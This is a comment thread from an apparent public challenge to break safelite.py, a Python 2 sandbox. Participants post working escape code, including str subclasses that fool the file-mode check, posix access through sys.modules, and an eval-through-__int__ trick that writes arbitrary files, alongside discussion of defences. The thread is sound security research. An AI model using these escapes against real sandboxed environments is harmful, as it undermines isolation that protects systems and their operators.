DISQUS

Asktav: A Challenge To Break Python Security

  • _Mark_ · 10 months ago
    This *doesn't* break it but I don't quiet understand why - basically subvert mode with a subclass of str that returns alternating values; the first one definitely gets past the comparison, but it doesn't end up re-evaluating... does LOAD_FAST cache values or something? Or am I missing something (since Guido just tweeted that it worked with __eq__?)

    from safelite import FileReader

    class LoopStr(str):
    def __init__(self, val):
    self._vals = val.split(",")
    def __str__(self):
    ret = self._vals.pop(0)
    self._vals.append(ret)
    return ret
    def __repr__(self):
    ret = self._vals.pop(0)
    self._vals.append(ret)
    return ret
    def __eq__(self, other):
    return str.__eq__(self.__str__(), other)
    def __ne__(self, other):
    return str.__ne__(self.__str__(), other)

    foo = FileReader("/tmp/gotcha", mode = LoopStr("r,w"))
  • _Mark_ · 10 months ago
    Oh, looking at http://mail.python.org/pipermail/python-dev/200... seems I was trying to hard; simply definining an __eq__ that returns True (and having the value always be "w") is enough.

    Still only lets you create the file, looks like that still doesn't get a way to put contents in it...
  • tav · 10 months ago
    Still, very nice try _Mark_ -- would be interested to know when you get some contents into that file =)
  • Mike Rooney · 10 months ago
    I modified Guido and Mark's exploit to create new files or clear out existing ones, which seems like writing to me. Just add "__builtins__.str = S" after the class declaration.
  • clsn · 10 months ago
    Simple mod on Guido's clever hack still works:

    class S(str):
    def __eq__(self,o): return 'r'==o
    def __str__(self): return self

    f=FileReader('0wn3d', S('w'))

    Will create an empty file, as before.
  • clsn · 10 months ago
    I think there will always be a way to mess with the definition of str or something like that. I think you simply can't trust the user's input:
    if mode=='rb':
    mymode='rb'
    elif mode=='rU':
    mymode='rU'
    else:
    mymode='r'

    and then do the open with mymode, which you know YOU set.
  • Guido van Rossum · 10 months ago
    It looks like the real challenge will be to write a supervisor that implements a larger subset of Python (e.g. allows importing pure-Python modules) without it being riddled with the kind of bugs that have been found so far in safelite.py.
  • tav · 10 months ago
    Yup!

    And once we've got a comprehensive list of known exploits, work can finally begin on that front.
  • Anonymous · 10 months ago
    I tried to post this on Paul Cannon's blog, but his blog is broken and Anonymous posting does not work (and even deleted my post with no way to get it back; grr..).
    I'd argue that, following the "default deny" principle, you ought to block compile() for the first version of safelite. I wrote a longer note providing explanation and justification, but it was eaten by Paul's blog. I'll wait to write a longer explanation until I know that the blog is working and accepts anonymous posts.
  • tav · 10 months ago
    @Anon

    Yeah, I had the same problem with Blogger -- its captcha service was buggered in Firefox -- even when trying to post as a Blogger user. I tried with Safari and it worked fine...

    As for removing ``compile``, I'd really be interested to know your thoughts/justification... it is the approach that I've currently gone for [since it was the simplest to implement] -- but I am not totally sure about it.

    If someone can somehow get at a Code object, then they can still exploit it. I'm looking through the Python source code to see where else code objects are returned from -- the obvious places like FunctionType.func_code and GeneratorType.gi_code have already been removed... would be good to know for sure =)
  • Guido van Rossum · 10 months ago
    What's the expoitability of accessing code objects? Obviously if there's a secret string constant, giving the sandbox access to the code object is bad. But as long as we block the creation of code objects from raw strings (new.code(...)), I don't have a problem with sandbox code creating code objects (through compile() or extracting them from functions they have defined themselves) and executing them. Code objects are 100% immutable and don't have pointers to environments -- only function objects have those.
  • tav · 10 months ago
    Have you seen Paul Cannon's exploit?

    He constructed a nifty function with custom bytecode which was able to grab traceback objects off of the
    stack...

    I summarised it in this post to Python-Dev: http://mail.python.org/pipermail/python-dev/200...

    Paul has also written a detailed blog post on: http://thepaulprog.blogspot.com/2009/02/safelit...
  • the paul · 10 months ago
    I agree with Guido. Code objects don't need to be considered dangerous in themselves, especially with your plans to neuter traceback objects (removing tb_frame, or was it f_locals and co from the frame objects? either way).

    Sorry to everyone about the blog being broken. I'll try to figure out what's wrong.
  • Guido van Rossum · 10 months ago
    > Have you seen Paul Cannon's exploit?

    Yes I have. What I agree should be banned is calling the code object constructor. But otherwise code objects are quite harmless, unless they contain secrets literals, which is perhaps fun as an example but not realistic.
  • Jeremy · 10 months ago
    $ python
    >>> import safelite
    >>> posix = safelite.sys.modules['posix']
    >>> fd = posix.open('0wn3d', posix.O_CREAT | posix.O_WRONLY)
    >>> posix.write(fd, 'w00t\n')
    5
    >>> posix.close(fd)
    >>>
    $ cat 0wn3d
    w00t
  • shaurz · 10 months ago
    "import safelite" is cheating. Your supposed to do "from safelite import FileReader"
  • David W. · 10 months ago
    I very much doubt you'll see the end any time this decade. If you want a pretty robust sandboxed Python, consider running IronPython inside an AppDomain on .NET :)

    As for CPython, I'd never trust what you're trying to do.
  • Lie · 10 months ago
    But if we don't start hacking this code now, you'll never see the end any time this decade, and the decade after it, and the decade after that...
  • Guido van Rossum · 10 months ago
    New attack, showing that you can trick the monitor code into evaluating unsafe code in its own globals:

    $ python
    Python 2.6 (trunk:66717, Oct 1 2008, 20:48:36)
    [GCC 4.0.1 (Apple Inc. build 5465)] on darwin
    Type "help", "copyright", "credits" or "license" for more information.
    >>> from safelite import FileReader
    >>> class S(str):
    ... __int__ = property(eval)
    ...
    >>> f = FileReader('/etc/passwd')
    >>> f.read(S('lambda:sys.stdin.__class__("/tmp/pwned","w").write("Yay!\\n")'))
    Traceback (most recent call last):
    File "<stdin>", line 1, in <module>
    File "safelite.py", line 210, in read
    return fileobj.read(bufsize)
    TypeError: nb_int should return int object
    >>>
    $ cat /tmp/pwned
    Yay!
    $
  • David-Sarah Hopwood · 9 months ago
    I must be confused about how scoping works in Python. How was class S able to refer to 'eval' in order to pass it to 'property'?
  • chenz · 9 months ago
    sorry, I just posted a wrong way